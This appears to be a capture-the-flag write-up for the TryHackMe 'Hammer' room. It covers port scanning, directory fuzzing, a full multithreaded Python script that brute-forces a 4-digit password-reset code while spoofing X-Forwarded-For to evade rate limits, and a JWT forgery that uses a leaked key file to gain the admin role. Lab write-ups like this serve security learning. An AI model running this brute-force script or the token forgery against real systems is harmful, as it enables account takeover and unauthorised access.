SpeedHacking on Youtube >>
CREDS >>
TryHackMe – https://tryhackme.com/p/TheSysRat
HackTheBox – https://app.hackthebox.com/profile/1298347
TryHackMe >>
https://tryhackme.com/r/room/thenewyorkflankees
Recon >>>
nmap >>
┌──(root㉿kali)-[/home/kali/THM/Hammer]
└─# nmap -sV -sC -Pn -p- -A -T4 --min-rate=2000 10.10.182.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 06:04 EDT
Nmap scan report for 10.10.182.32
Host is up (0.038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 92:6a:6b:37:97:30:cf:13:5b:1b:4c:b9:fb:33:cd:1b (RSA)
| 256 00:70:e4:42:59:50:33:81:8a:bd:f1:d3:ad:73:3b:18 (ECDSA)
|_ 256 53:92:c5:1a:9b:f5:f2:37:ea:a2:a9:12:17:70:78:d1 (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Port 1337/TCP >>
On port 1337 is running web server, let’s inpect >>
And there is a Login page, when we look on source, we can found this comment >
So we can try to fuzz it >>
┌──(root㉿kali)-[/home/kali/THM/Hammer]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --hl 9 http://hammer.thm:1337/hmr_FUZZ/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://hammer.thm:1337/hmr_FUZZ/
Total requests: 87664
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 200 16 L 59 W 952 Ch "images"
000000549: 200 16 L 58 W 955 Ch "css"
000000954: 200 16 L 60 W 960 Ch "js"
000002249: 200 16 L 59 W 946 Ch "logs"
NOTE: For success fuzzing need end FUZZ/, if not there is no result, because, wfuzz test files, no directories 😉
So what is interesting for us , is hmr_logs directory, lets’s look >>
And there is log file, when we open it we can found e-mail address of tester@hammer.thm >
So we know e-mail, we can try to restore password of this user >
After sending request we have to get 4-digit pin
That is restricted to 180 seconds time loop after that it is time reset.
When we Burp it we can found this request >
So we can try to bypassed, we know that time limit is driven by server. But we can try to send X-Forwarded-For: header and change IP. Maybe server null time limit request before.
For this I create simple script >>
https://github.com/TheSysRat/Hammer–THM
import requests
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from rich.console import Console
from rich.prompt import Prompt
from rich.progress import Progress
# Initialize the Rich console for fancy output
console = Console()
# Ask user for the target IP and PHPSESSID cookie
TARGET_IP = Prompt.ask("[bold green]Enter the target IP address[/]")
TARGET_PORT = Prompt.ask("[bold green]Enter the target port[/]", default="1337")
SESSION_COOKIE = Prompt.ask("[bold green]Enter your PHPSESSID cookie[/]")
# URL for password reset form
RESET_PASSWORD_URL = f"http://{TARGET_IP}:{TARGET_PORT}/reset_password.php"
# HTTP request headers (without X-Forwarded-For)
REQUEST_HEADERS = {
"Host": f"{TARGET_IP}:{TARGET_PORT}",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": f"http://{TARGET_IP}:{TARGET_PORT}",
"DNT": "1",
"Connection": "keep-alive",
"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/reset_password.php",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
"Cookie": f"PHPSESSID={SESSION_COOKIE}"
}
# Custom exception to signal when the correct recovery code is found
class CorrectCodeFoundException(Exception):
pass
def generate_recovery_codes():
"""Generator to yield all possible 4-digit recovery codes."""
for code in range(10000):
yield f"{code:04d}" # Zero-padded 4-digit code, e.g., "0001"
def send_recovery_request(recovery_code):
"""
Sends a POST request to the reset password endpoint with a given recovery code.
Args:
recovery_code (str): The recovery code to try.
Raises:
CorrectCodeFoundException: If the correct recovery code is found.
"""
# Randomly generate an X-Forwarded-For IP address
random_ip = f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}"
# Update request headers with the random IP
headers_with_random_ip = REQUEST_HEADERS.copy()
headers_with_random_ip["X-Forwarded-For"] = random_ip
# Data payload for the POST request
data_payload = {
"recovery_code": recovery_code,
"s": "179" # Replace with the correct hidden field value if necessary
}
try:
# Send the POST request
response = requests.post(RESET_PASSWORD_URL, headers=headers_with_random_ip, data=data_payload, timeout=3)
# Check if the response indicates a successful recovery code
if "Invalid or expired recovery code!" not in response.text:
console.print(f"[bold green]Success! The correct recovery code is: {recovery_code}[/]")
raise CorrectCodeFoundException # Signal to stop further processing
quit()
except requests.RequestException as e:
# Handle request exceptions
console.print(f"[bold red]Request failed for code {recovery_code}: {e}[/]", style="bold red")
def brute_force_recovery_code():
"""Attempts to brute-force the recovery code using multiple threads."""
try:
# ThreadPoolExecutor to handle multiple threads for concurrent requests
with ThreadPoolExecutor(max_workers=100) as executor:
# Progress bar for better visualization of brute force attempts
with Progress(console=console) as progress:
task = progress.add_task("[cyan]Brute-forcing recovery codes...", total=10000)
# Submit tasks for each generated recovery code
future_to_code_mapping = {executor.submit(send_recovery_request, code): code for code in generate_recovery_codes()}
for future in as_completed(future_to_code_mapping):
progress.update(task, advance=1) # Update the progress bar
future.result() # Will raise CorrectCodeFoundException if the correct code is found
except CorrectCodeFoundException:
console.print("[bold yellow]Correct recovery code found, terminating brute-force process.[/]")
executor.shutdown(wait=False) # Immediately stop any remaining threads
if __name__ == "__main__":
console.print("[bold blue]Starting the brute-force attack...[/]")
brute_force_recovery_code()
And we can try to run >
And there is, we can try to change password >
And we are in >>
User Flag >>
There is some thing like command injection, so we can try to Burmp it and we will see what is possible >>
When we send this request, we can found some hidden files in dir /var/www/html >
But what is really interesting is file “188ade1.key”, there is probably signature and maybe we can be able to manipulate with JWT token! As user role we have only small possibilities, but if we are able to change to admin role, there will be no restriction for us. Let’s try >>
For this I used jwt.io >>
So what we can changed, we know that “kid” is in /var/www/html/188ade1.key and role will be “admin”, after that we can signature verified but signature from hidden file >>
Grab JWT token and add to Burp and we can try to use >>
And we can what we will, so lets try to grab flag >